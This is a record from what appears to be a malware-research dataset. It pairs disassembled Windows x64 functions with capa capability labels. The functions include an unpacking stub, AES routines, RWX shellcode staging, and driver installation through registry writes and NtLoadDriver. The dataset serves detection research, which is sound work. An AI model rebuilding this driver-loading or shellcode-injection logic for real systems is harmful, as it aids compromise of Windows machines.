joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140c766d0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140c766dd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140c766ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140c766d5
lea eax, [rcx + 1]
jmp 0x140c766fb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140c7670e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140c766f4
sub eax, 3
jb 0x140c7672e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140c7677d
sar eax, 1
movsxd rbp, eax
jb 0x140c76764
jmp 0x140c7673c
add ebx, ebx
jne 0x140c7673a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140c76764
inc ecx
add ebx, ebx
jne 0x140c7674a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140c76764
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140c7675d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140c7674c
add ecx, 2
jmp 0x140c76769
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140c76692
jmp 0x140c766dd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0xc66000]
mov eax, dword [rdi]
or eax, eax
je 0x140c767dd
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xc764ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140c7678d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140c767d7
mov qword [rbx], rax
add rbx, 8
jmp 0x140c767ad
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140c76821
cmp al, 0xef
ja 0x140c76809
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140c767e9
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x140c767f8
mov eax, dword [rdi]
add rdi, 4
jmp 0x140c767f8
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140c768a0], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140c768a0
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140c76890
sub rsp, 0xffffffffffffff80
jmp 0x1400014e0
Function at 0x180001208
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbp, rdx
mov r8, rdx
mov rdx, rcx
mov rbx, rcx
xor ecx, ecx
call fcn.1800011c0
mov dil, 1
lea rsi, [rbx + 2]
mov r12d, 4
lea r13, str.cw
mov rdx, rbx
mov r8, r12
mov rcx, rdx
mov r9, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r9, 1
jne 0x180001257
inc rdx
sub r8, 1
jne 0x180001251
mov al, byte [rbx + 5]
mov r14, rsi
mov cl, byte [rbx + 1]
mov r15, r12
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rsi]
mov byte [rsi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
mov cl, byte [rbx + 6]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], cl
mov cl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 0xb], al
mov byte [rbx + 7], cl
mov r11b, byte [r14 - 2]
mov r8b, byte [r14 - 1]
mov dl, r11b
mov r9b, byte [r14 + 1]
xor dl, r8b
xor r9b, byte [r14]
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
mov r10b, r9b
imul ecx, eax, 0x1b
xor r10b, r11b
xor r10b, r8b
xor cl, dl
mov dl, r8b
xor dl, byte [r14]
xor cl, r11b
xor r11b, byte [r14 + 1]
xor cl, r10b
mov byte [r14 - 2], cl
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
imul ecx, eax, 0x1b
mov al, r9b
shr al, 7
add r9b, r9b
movzx eax, al
xor cl, dl
xor cl, r8b
xor cl, r10b
mov byte [r14 - 1], cl
imul ecx, eax, 0x1b
mov al, r11b
shr al, 7
add r11b, r11b
movzx eax, al
xor cl, r9b
xor cl, byte [r14]
xor cl, r10b
mov byte [r14], cl
imul ecx, eax, 0x1b
xor cl, r11b
xor cl, byte [r14 + 1]
xor cl, r10b
mov byte [r14 + 1], cl
add r14, r12
sub r15, 1
jne 0x1800012be
mov r8, rbp
mov rdx, rbx
mov cl, dil
call fcn.1800011c0
inc dil
cmp dil, 0xa
jb 0x18000124b
mov rdx, rbx
mov r8, r12
mov rcx, rdx
mov r9, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r9, 1
jne 0x180001384
inc rdx
sub r8, 1
jne 0x18000137e
mov dl, byte [rbx + 6]
mov r8, rbp
mov al, byte [rbx + 5]
mov cl, byte [rbx + 1]
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rsi]
mov byte [rsi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], dl
mov dl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 7], dl
mov rdx, rbx
mov byte [rbx + 0xa], cl
mov cl, 0xa
mov byte [rbx + 0xb], al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp fcn.1800011c0
Function at 0x18000146c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
xor edi, edi
mov rbx, r8
and qword [rbp + 0x30], rdi
mov rsi, rdx
test r8, r8
je 0x180001494
and dword [r8], edi
and qword [rbp + 0x28], rdi
and dword [rbp + 0x38], edi
test rsi, rsi
je 0x180001511
and qword [rbp - 8], rdi
lea r9, [rbp - 0x20]
mov qword [rbp - 0x10], rcx
lea rdx, [rbp - 0x18]
mov rcx, rsi
mov qword [rbp - 0x18], 0xa
mov r8d, 3
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
test eax, eax
js 0x1800014e6
mov rdx, qword [rbp - 0x20]
lea r9, [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_LdrAccessResource]
test eax, eax
cmovns edi, dword [rbp + 0x38]
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x180001511
test edi, edi
je 0x180001511
mov al, byte [rbp + 0x40]
lea r8, [rbp + 0x30]
mov edx, edi
mov byte [rsp + 0x20], al
call fcn.180001520
test rbx, rbx
je 0x180001513
mov ecx, dword [rbp + 0x30]
mov dword [rbx], ecx
jmp 0x180001513
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x180004fa4
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov dword [rax + 0x20], r9d
push rdi
sub rsp, 0x50
mov ebp, ecx
mov edi, edx
mov rcx, qword [rsp + 0x80]
xor ebx, ebx
call qword [sym.imp.ntdll.dll_RtlDoesFileExists_U]
test al, al
je 0x18000509e
cmp qword [rsp + 0x88], rbx
je 0x18000509e
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x38]
mov dword [rsp + 0x78], 2
mov qword [rsp + 0x30], rbx
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea r9, [rsp + 0x30]
xor ecx, ecx
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x78]
call qword [sym.imp.ntdll.dll_LdrLoadDll]
test eax, eax
js 0x18000509e
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x18000509e
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
test rax, rax
je 0x18000509e
mov rsi, qword [rsp + 0x30]
test rsi, rsi
je 0x18000509e
mov r8d, edi
mov edx, ebp
call fcn.1800053a8
mov rdi, rax
test rax, rax
je 0x180005091
mov rdx, qword [rsp + 0x88]
lea rcx, [rax + 0x40]
call fcn.1800068c4
mov rdx, qword [rsp + 0x90]
test rdx, rdx
je 0x18000507c
lea rcx, [rdi + 0x24c]
call fcn.1800068c4
mov rdx, rsi
mov rcx, rdi
call fcn.180001dfc
mov rcx, rdi
mov ebx, eax
call fcn.180005740
mov rcx, rsi
call qword [sym.imp.ntdll.dll_LdrUnloadDll]
mov eax, ebx
jmp 0x1800050a0
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x1800050b8
Capabilities:
Check os version
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rbx, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x44]
mov r8d, pe_nt_image_headers64
call fcn.180008d40
mov edx, 0x114
lea rdi, [rsp + 0x40]
mov ecx, edx
xor eax, eax
rep stosb byte [rdi], al
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], edx
call qword [sym.imp.ntdll.dll_RtlGetVersion]
cmp dword [rsp + 0x44], 6
jb 0x180005191
jne 0x180005117
cmp dword [rsp + 0x48], 0
je 0x180005191
cmp dword [rsp + 0x4c], 0x1db0
je 0x180005191
mov r8d, 8
lea r9, [rbp + 0x90]
lea rdx, [rbp + 0x98]
mov dword [rbp + 0x98], r8d
lea ecx, [r8 + 0x5f]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
js 0x180005165
mov ecx, 1
test byte [rbp + 0x9c], cl
je 0x180005175
test dword [rbp + 0x9c], 0x400
jne 0x180005177
jmp 0x180005175
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlSetLastWin32Error]
xor ecx, ecx
mov edx, dword [rsp + 0x4c]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
call fcn.180004fa4
jmp 0x180005193
xor al, al
mov rbx, qword [rsp + 0x180]
add rsp, 0x160
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800051a8
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [rcx + 0x38]
lea r8, [rsp + 0x50]
mov rsi, qword [rcx + 0x28]
mov r9, rcx
xor edi, edi
mov dword [rsp + 0x50], edi
mov edx, dword [rax + 0x10]
mov ecx, dword [rax + 8]
mov r14, qword [rax + 0x20]
shr edx, 2
not dl
and dl, 1
mov byte [rsp + 0x20], dl
mov rdx, qword [r9 + 0x10]
call fcn.18000146c
mov rbp, rax
test rax, rax
je 0x18000525c
mov r8d, dword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov rdx, rbp
mov qword [rsp + 0x28], rax
mov rcx, rsi
call fcn.1800071b8
mov rbx, rax
mov r8, rbp
mov rax, qword gs:[0x30]
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp dword [rsp + 0x50], ebx
jne 0x18000525c
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call fcn.180006d20
test eax, eax
js 0x18000524f
mov edi, 1
jmp 0x180005258
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, edi
jmp 0x18000525e
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x180005740
Capabilities:
Delete file

Disassembly:
test rcx, rcx
je 0x1800057f0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [rcx + 0x38]
mov rbx, rcx
mov r8, qword [rax + 0x40]
lea rax, [0x18000538c]
cmp r8, rax
je 0x180005779
mov rdx, rcx
mov rcx, qword [rcx + 0x20]
call r8
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x180005788
call qword [sym.imp.ntdll.dll_NtClose]
mov rax, qword [rbx + 0x38]
mov rsi, qword [rbx + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.180006e18
test eax, eax
js 0x1800057bf
mov edi, 3
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1800057bf
add edi, 0xffffffff
jne 0x1800057a2
mov r8, qword [rbx + 0x28]
test r8, r8
je 0x1800057e1
mov rax, qword gs:[0x30]
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180006768
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r12, r9
mov r13, r8
mov r14, qword [rsp + 0x80]
and dword [r14], 0
sub ecx, 1
je 0x1800067b7
sub ecx, 1
je 0x1800067ae
cmp ecx, 1
jne 0x1800067b7
lea rdi, [0x1800058f0]
jmp 0x1800067be
lea rdi, [0x180005dd4]
jmp 0x1800067be
lea rdi, [0x180006094]
mov rcx, rdi
call fcn.18000636c
mov esi, eax
cmp eax, 0x78c
ja 0x1800068aa
mov edx, 0x800
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x1800068aa
mov ecx, dword [rsp + 0x78]
mov dword [rax + 0x79c], ecx
mov rax, qword [rsp + 0x58]
mov qword [rbx + 0x7b0], rax
mov qword [rbx + 0x7a0], r13
movdqa xmm0, xmmword [0x180023c00]
movups xmmword [rbx], xmm0
mov dword [rbx], 0xe8
mov dword [rbx + 4], 0x49584100
mov dword [rbx + 8], 0xeb05e883
mov byte [rbx + 0xc], 3
lea rcx, str.___Resolving_base_shellcode_import_r_n
call fcn.180001418
mov r9, r12
mov r8, qword [rsp + 0x70]
mov rdx, rbx
call fcn.180006414
test eax, eax
jne 0x18000687a
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rdx, str.____Failed_to_resolve_base_shellcode_import_r_n
mov ecx, 1
call fcn.180007cf4
jmp 0x1800068aa
mov r8, rsi
mov rdx, rdi
lea rcx, [rbx + 0x10]
call fcn.1800091a0
nop
mov dword [r14], esi
mov rax, rbx
jmp 0x1800068ac
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000699c
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov r14, 0xffffffff80000002
mov rdi, rdx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor esi, esi
test eax, eax
je 0x180006a03
lea rax, [rbp + 0x190]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180006a1f
cmp eax, 2
jne 0x180006adf
mov eax, 1
mov rbx, qword [rsp + 0x288]
add rsp, 0x250
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov rbx, rdi
test rdi, rdi
jne 0x180006a2c
mov rbx, rsi
jmp 0x180006a3a
cmp word [rdi], si
je 0x180006a3a
add rbx, 2
cmp word [rbx], si
jne 0x180006a31
mov eax, 0x5c
cmp word [rbx - 2], ax
je 0x180006a4f
mov word [rbx], ax
add rbx, 2
mov word [rbx], si
mov r15d, 0x104
jmp 0x180006a79
mov r9, r15
lea r8, [rsp + 0x40]
mov rdx, r15
mov rcx, rbx
call fcn.18000103c
mov rdx, rdi
mov rcx, r14
call fcn.18000699c
test eax, eax
je 0x180006aba
mov rcx, qword [rbp + 0x190]
lea rax, [rbp + 0x198]
mov qword [rsp + 0x38], rax
lea r9, [rbp + 0x180]
mov qword [rsp + 0x30], rsi
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rsp + 0x20], rsi
mov dword [rbp + 0x180], r15d
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x180006a57
mov rcx, qword [rbp + 0x190]
mov word [rbx - 2], si
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x180006a03
xor eax, eax
jmp 0x180006a08
Function at 0x180006b7c
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
xor esi, esi
mov rbx, rdx
mov qword [rbp + 0x30], rsi
mov rdi, rcx
mov qword [rbp - 8], rsi
mov dword [rbp - 0x10], esi
test rcx, rcx
je 0x180006bc7
xor r9d, r9d
lea rdx, [rbp - 0x10]
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlDosPathNameToNtPathName_U]
test al, al
jne 0x180006bc7
mov eax, 0xc00000f0
jmp 0x180006d09
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x30]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov rdx, rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x180006c0a
mov ebx, 0xc0000022
jmp 0x180006cf2
mov rcx, qword [rbp + 0x30]
lea rax, [rbp + 0x20]
mov r14d, 4
mov dword [rbp + 0x20], 1
mov dword [rsp + 0x28], r14d
lea rdx, str.ErrorControl
mov r9d, r14d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x180006cdd
mov rcx, qword [rbp + 0x30]
lea rax, [rbp + 0x20]
mov dword [rsp + 0x28], r14d
lea rdx, str.Type
mov r9d, r14d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x180006cdd
mov rcx, qword [rbp + 0x30]
lea rax, [rbp + 0x20]
mov dword [rsp + 0x28], r14d
lea rdx, str.Start
mov r9d, r14d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x20], 3
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x180006cdd
test rdi, rdi
je 0x180006cdd
movzx eax, word [rbp - 0x10]
lea r9d, [r14 - 2]
mov rcx, qword [rbp + 0x30]
lea rdx, str.ImagePath
add eax, r9d
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg ebx
mov ebx, 0xc0000022
sbb ecx, ecx
and ebx, ecx
test rdi, rdi
je 0x180006d07
cmp qword [rbp - 8], rsi
je 0x180006d07
lea rcx, [rbp - 0x10]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, ebx
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x180006d20
Capabilities:
Install driver
Unload driver

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x250
xor ebp, ebp
mov rbx, rdx
mov sil, r8b
mov rdx, rcx
test rcx, rcx
je 0x180006dfa
test rbx, rbx
jne 0x180006d5a
mov eax, 0xc00000f0
jmp 0x180006dff
xor eax, eax
mov qword [rsp + 0x20], rdx
lea rdi, [rsp + 0x40]
mov ecx, 0x20a
rep stosb byte [rdi], al
lea rcx, [rsp + 0x40]
mov edx, 0x104
lea r9, str.RegistryMachine
lea r8, str._wSSystemCurrentControlSetServices_wS
call fcn.18000176c
test eax, eax
js 0x180006dfa
lea rdx, [rsp + 0x64]
mov rcx, rbx
call fcn.180006b7c
test eax, eax
js 0x180006dff
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test sil, sil
je 0x180006df0
cmp eax, 0xc000010e
je 0x180006dd4
cmp eax, 0xc0000035
je 0x180006dd4
cmp eax, 0x40000000
jne 0x180006dff
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
test eax, eax
js 0x180006dff
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
jmp 0x180006dff
cmp eax, 0x40000000
cmove eax, ebp
jmp 0x180006dff
mov eax, 0xc00000ef
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x180006e18
Capabilities:
Unload driver

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x660
mov rdx, rcx
lea rdi, [rsp + 0x40]
xor eax, eax
mov qword [rsp + 0x20], rdx
mov ecx, 0x20a
lea r9, str.RegistryMachine
rep stosb byte [rdi], al
lea rcx, [rsp + 0x40]
mov edx, 0x104
lea r8, str._wSSystemCurrentControlSetServices_wS
call fcn.18000176c
test eax, eax
jns 0x180006e63
mov eax, 0xc00000ef
jmp 0x180006ed1
lea rdx, [rsp + 0x64]
xor ecx, ecx
call fcn.180006b7c
test eax, eax
js 0x180006ed1
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov ebx, eax
test eax, eax
js 0x180006ecf
xor eax, eax
lea rdi, [rsp + 0x250]
mov ecx, 0x410
lea r8, [rsp + 0x64]
rep stosb byte [rdi], al
lea rcx, [rsp + 0x250]
mov r9d, 0x104
mov edx, 0x208
call fcn.18000103c
lea rdx, [rsp + 0x250]
call fcn.18000699c
mov eax, ebx
mov rbx, qword [rsp + 0x670]
add rsp, 0x660
pop rdi
ret
Function at 0x180006fdc
Capabilities:
Access peb ldr_data
Get ntdll base address
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
and dword [rsp + 0x38], 0
mov esi, ecx
mov rax, qword gs:[0x30]
mov edi, 0x1000
mov r8d, edi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x1800070b2
jmp 0x18000706e
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea eax, [rdi + rdi]
mov edi, eax
cmp eax, 0x20000000
ja 0x1800070b2
mov rax, qword gs:[0x30]
mov r8d, edi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
lea r9, [rsp + 0x38]
mov r8d, edi
mov rdx, rax
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x180007024
test eax, eax
js 0x180007091
mov rax, rbx
jmp 0x1800070b4
test rbx, rbx
je 0x1800070b2
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1800070c4
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov dword [rsp + 8], ecx
push rbx
sub rsp, 0x20
mov r8d, 0x1000
mov edx, 8
mov dword [rsp + 0x30], r8d
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x1800071a4
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x180007177
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rax, qword gs:[0x30]
mov edx, 8
mov r8d, dword [rsp + 0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0x80000005
jne 0x1800071ac
cmp dword [rbx], 0
jne 0x1800071b0
test rbx, rbx
je 0x1800071a4
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
add rsp, 0x20
pop rbx
ret
test eax, eax
js 0x180007183
mov rax, rbx
jmp 0x1800071a6